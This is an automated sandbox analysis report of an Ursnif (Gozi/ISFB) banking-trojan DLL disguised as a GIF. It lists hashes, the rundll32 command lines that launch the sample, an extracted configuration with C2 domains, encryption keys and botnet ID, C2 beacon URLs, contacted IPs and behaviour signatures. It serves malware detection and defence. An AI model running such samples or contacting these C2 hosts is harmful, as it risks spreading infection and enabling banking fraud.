Play interactive tour

Edit tour

Analysis Report gg_2.gif.dll

Overview

General Information

Sample Name:	gg_2.gif.dll
Analysis ID:	382547
MD5:	93b67d2be7ea4060f946c196af2b9f38
SHA1:	ef7c7c2fbf1cd70b83811ce794509f4eb14bf370
SHA256:	2817053b604f2d5f62400afd737d9124c87cc388f76aa10e5cc2db867a31c5dd
Tags:	dllGGGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 3544 cmdline: loaddll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5424 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5408 cmdline: rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5420 cmdline: rundll32.exe C:\Users\user\Desktop\gg_2.gif.dll,StartService MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 6788 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6840 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6788 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 7144 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6000 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5220 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:82952 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 900 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 4280 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:900 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5408	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 3544	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.loaddll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.10000000.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.1330000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.bd0000.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.1060000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.rundll32.exe.1060000.1.raw.unpack

Malware Configuration Extractor: Ursnif [[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Multi AV Scanner detection for submitted file

Show sources

Source: gg_2.gif.dll

ReversingLabs: Detection: 52%

Machine Learning detection for sample

Show sources

Source: gg_2.gif.dll

Joe Sandbox ML: detected

Source: 0.2.loaddll32.exe.10000000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.2.rundll32.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: gg_2.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026712D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_026712D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034412D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_034412D4

Source: Joe Sandbox View	IP Address: 185.243.114.196 185.243.114.196
Source: Joe Sandbox View	IP Address: 185.186.244.95 185.186.244.95

Source: Joe Sandbox View	ASN Name: ACCELERATED-ITDE ACCELERATED-ITDE
Source: Joe Sandbox View	ASN Name: WEBZILLANL WEBZILLANL

Source: global traffic	TCP traffic: 192.168.2.7:49730 -> 185.243.114.196:80
Source: global traffic	TCP traffic: 192.168.2.7:49756 -> 185.186.244.95:80

Source: unknown

DNS traffic detected: queries for: login.microsoftonline.com

Source: GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js0.13.dr	String found in binary or memory: http://feross.org
Source: rundll32.exe, 00000003.00000003.443272606.000000000352B000.00000004.00000001.sdmp	String found in binary or memory: http://under17.com
Source: {4554B9A3-96F7-11EB-90E6-ECF4BB82F7E0}.dat.25.dr	String found in binary or memory: http://under17.com/joomla/7oXts9AORFsG5/i189ZNd4/wxa5zyBcqStFNvDeNtF1KxB/E9musqCc5L/b_2FSJrdUWwLXBbJ
Source: {4D761D34-96F7-11EB-90E6-ECF4BB82F7E0}.dat.25.dr	String found in binary or memory: http://under17.com/joomla/YJmZr0WJXI7/eZbfNM7hm_2BBw/atfJcuVF_2B5yHpeRoV9f/p4iYAB3akKupopXr/3YLvELEn
Source: loaddll32.exe, 00000000.00000002.492271076.0000000000BFB000.00000004.00000020.sdmp	String found in binary or memory: http://urs-world.com
Source: loaddll32.exe, 00000000.00000002.492271076.0000000000BFB000.00000004.00000020.sdmp	String found in binary or memory: http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YE&
Source: {5B8FC2C2-96F7-11EB-90E6-ECF4BB82F7E0}.dat.38.dr	String found in binary or memory: http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YEQ6PJZPGUhJ_2BK96Ghup/vPTPDIHk
Source: {297C5619-96F7-11EB-90E6-ECF4BB82F7E0}.dat.12.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: authorize[1].htm.13.dr	String found in binary or memory: https://login.microsoftonline.com/error?code=50058
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/es-h
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/karl-lauterbach-der-blitzableiter-der-republik/ar-BB1fiI
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/das-alles-h
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/l
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/vermischtes/nachtleben-in-israel-eine-nacht-wie-fr
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/abdullah-sollte-von-erdogan-lernen/ar-BB1fktw7?ocid=BingHPC
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj
Source: msnpopularnow[1].json.13.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/ressourcen-f

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1330000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.bd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.1.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5408, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 3544, type: MEMORY

Source: loaddll32.exe, 00000000.00000002.492271076.0000000000BFB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1330000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.bd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.1.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5408, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 3544, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001D9F NtMapViewOfSection,	0_2_10001D9F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001EB5 GetProcAddress,NtCreateSection,memset,	0_2_10001EB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002375 NtQueryVirtualMemory,	0_2_10002375
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026783B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	0_2_026783B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0267B341 NtQueryVirtualMemory,	0_2_0267B341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034483B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	3_2_034483B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0344B341 NtQueryVirtualMemory,	3_2_0344B341

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259348F	0_2_0259348F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02594859	0_2_02594859
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259554B	0_2_0259554B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259237B	0_2_0259237B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259247B	0_2_0259247B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02591374	0_2_02591374
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02595C76	0_2_02595C76
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0259596E	0_2_0259596E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02591918	0_2_02591918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02593314	0_2_02593314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02591000	0_2_02591000
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02596424	0_2_02596424
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02593BDB	0_2_02593BDB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02595AF6	0_2_02595AF6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_025928EB	0_2_025928EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_025952EC	0_2_025952EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_025920EE	0_2_025920EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02591B95	0_2_02591B95
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02593A85	0_2_02593A85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02593FA8	0_2_02593FA8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002154	0_2_10002154
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_02674094	0_2_02674094
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0267B11C	0_2_0267B11C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026797F2	0_2_026797F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D348F	2_2_012D348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D6424	2_2_012D6424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D1000	2_2_012D1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D1918	2_2_012D1918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D3314	2_2_012D3314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D596E	2_2_012D596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D247B	2_2_012D247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D1374	2_2_012D1374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D5C76	2_2_012D5C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D554B	2_2_012D554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D4859	2_2_012D4859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D3FA8	2_2_012D3FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D238F	2_2_012D238F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D3A85	2_2_012D3A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D1B95	2_2_012D1B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D52EC	2_2_012D52EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D20EE	2_2_012D20EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D28EB	2_2_012D28EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D5AF6	2_2_012D5AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_012D3BDB	2_2_012D3BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0339348F	3_2_0339348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03396424	3_2_03396424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03391918	3_2_03391918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03393314	3_2_03393314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03391000	3_2_03391000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0339237B	3_2_0339237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0339247B	3_2_0339247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03391374	3_2_03391374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03395C76	3_2_03395C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0339596E	3_2_0339596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03394859	3_2_03394859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0339554B	3_2_0339554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03393FA8	3_2_03393FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03391B95	3_2_03391B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03393A85	3_2_03393A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03395AF6	3_2_03395AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_033928EB	3_2_033928EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_033952EC	3_2_033952EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_033920EE	3_2_033920EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03393BDB	3_2_03393BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0344B11C	3_2_0344B11C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034497F2	3_2_034497F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03444094	3_2_03444094

